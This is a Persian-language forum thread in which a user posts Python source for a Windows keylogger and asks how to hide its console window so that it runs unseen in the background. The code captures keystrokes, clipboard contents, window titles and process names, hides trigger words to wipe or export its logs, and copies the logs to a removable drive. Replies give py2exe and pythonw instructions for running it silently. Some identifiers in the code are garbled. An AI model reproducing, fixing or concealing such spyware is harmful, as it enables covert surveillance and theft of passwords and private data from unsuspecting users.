برداشتن cmd از سورس زیر
سلام
من یک سورس پایتون دارم که هرچیزی تایپ میکنم یک بار در فایل و از همان در command prompt وارد میکند میتوانید کمک کنید باید کجای این کد را تغییر بدهم تا CMD استفاده ای نشود و حتی المقدور باز نشود در حالت Exe َشدن فایل - پایتون
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
import os
import shutil
import time
from time import gmtime, strftime
localtime = time.asctime( time.localtime(time.time()) )
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
filename_directory = "logs"
filename_base = "x"
filename_ext = ".log"
open_type = 'a+'
filesize_limit = 500000
paste_limit = 500
quit_pass = "pyquit"
quitpasscounter = 0
kill_pass = "pykill"
killpasscounter = 0
killprogramname = "logger.pyw"
pause_pass = "pypause"
resume_pass = "pyresume"
resumepasscounter = 0
pausepasscounter = 0
pause = False
status_pass = "pystatus"
statuspasscounter = 0
dump_pass = "pydump"
dumppasscounter = 0
def KeyStroke(event):
global current_window
if event.WindowName != current_window:
current_window = event.WindowName
getcurrentprocess()
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
checkTriggers(chr(event.Ascii))
writeToFile(chr(event.Ascii))
else:
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
if (len(pastedvalue) < pastelimit):
print "[PASTE] - %s" % (pasted_value),
writeToFile("[PASTE] - %s" % (pasted_value))
else:
print "[%s]" % event.Key,
writeToFile("[%s]" % event.Key)
return True
def getcurrentprocess():
hwnd = user32.GetForegroundWindow()
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
process_id = "%d" % pid.value
executable = createstringbuffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
windowtitle = createstring_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
writeToFile("\n")
writeToFile("[ PID: %s - %s - %s - %s ]" % (processid, executable.value, windowtitle.value, localtime))
writeToFile("\n")
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def checkTriggers(key):
quitSwitch(key)
killSwitch(key)
pauseSwitch(key)
statusSwitch(key)
dumpSwitch(key)
def quitSwitch(key):
global quitpasscounter
if (quitpass[quitpass_counter] == key):
quitpasscounter = quitpasscounter + 1
if (quitpasscounter >= len(quit_pass)):
quit()
else:
quitpasscounter = 0;
def killSwitch(key):
global killpasscounter
if (killpass[killpass_counter] == key):
killpasscounter = killpasscounter + 1
if (killpasscounter >= len(kill_pass)):
filelist = [ f for f in os.listdir(filenamedirectory) if f.endswith(filenameext) ]
for f in filelist:
os.remove(filename_directory+"/"+f);
quit()
else:
killpasscounter = 0;
def pauseSwitch(key):
global pausepasscounter, resumepasscounter
global pause
if (not pause):
if (pausepass[pausepass_counter] == key):
pausepasscounter = pausepasscounter + 1
if (pausepasscounter >= len(pause_pass)):
pause = True;
else:
resumepasscounter = 0;
pausepasscounter = 0;
else:
if (resumepass[resumepass_counter] == key):
resumepasscounter = resumepasscounter + 1
if (resumepasscounter >= len(resume_pass)):
pause = False;
else:
resumepasscounter = 0;
pausepasscounter = 0;
def statusSwitch(key):
global statuspasscounter
if (statuspass[statuspass_counter] == key):
statuspasscounter = statuspasscounter + 1
if (statuspasscounter >= len(status_pass)):
print "\a";
statuspasscounter = 0;
else:
statuspasscounter = 0;
def dumpSwitch(key):
global dumppasscounter
global dump_pass
print dumppasscounter
if (dumppasscounter == len(dump_pass)):
print "Trying to dump into",key.upper()
try:
print "Dumping into",key.upper()
print os.popen("copy "+filename_directory+" "+key.upper()+":").read()
dumppasscounter = 0
except:
print "Nope. '",key,"' wasn't a correct Location to Dump."
dumppasscounter = 0
else:
if (dumppass[dumppass_counter] == key):
dumppasscounter = dumppasscounter + 1
else:
dumppasscounter = 0
def writeToFile(key):
if (pause): return
global open_type
filename = filenamedirectory+"/"+filenamebase+filename_ext
try:
if (os.path.getsize(filename) > filesize_limit):
xdate = strftime("%Y-%m-%d--%H-%M-%S", gmtime())
shutil.copy2(filename, filenamebase+xdate+filenameext)
open_type = 'w+'
print "New File"
else:
open_type = 'a+'
except:
open_type = 'a+'
target = open(filename,open_type)
target.write(key)
target.close();
if not os.path.exists(filenamedirectory): os.makedirs(filenamedirectory)
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
kl.HookKeyboard()
pythoncom.PumpMessages()
6 پاسخ
تشکر دوست عزیز،
یه سوال، من اگر بخوام این فایل رو به exe تبدیل کنم چه راهی هست تا اینگونه عمل کند؟
از برنامه Py2Exe استفاده کنید.
سلام به شما دوست عزیز
برای اجرای برنامه خودتون به جای استفاده از python.exe از pythonw.exe استفاده کنید.
بله به Exe تبدیل میکنم چه با pyinstaller یا py2exe اما باز هم CMD در صفحه اصلی مشاهده میشود هدف این میباشد این برنامه در background اجرا شود
برای ساخت فایل Exe اسکریپت زیر را بنویسید
from distutils.core import setup import py2exe, sys, os sys.argv.append('py2exe') setup( windows = [{'script': "pytho.py"}], )
بله تشکر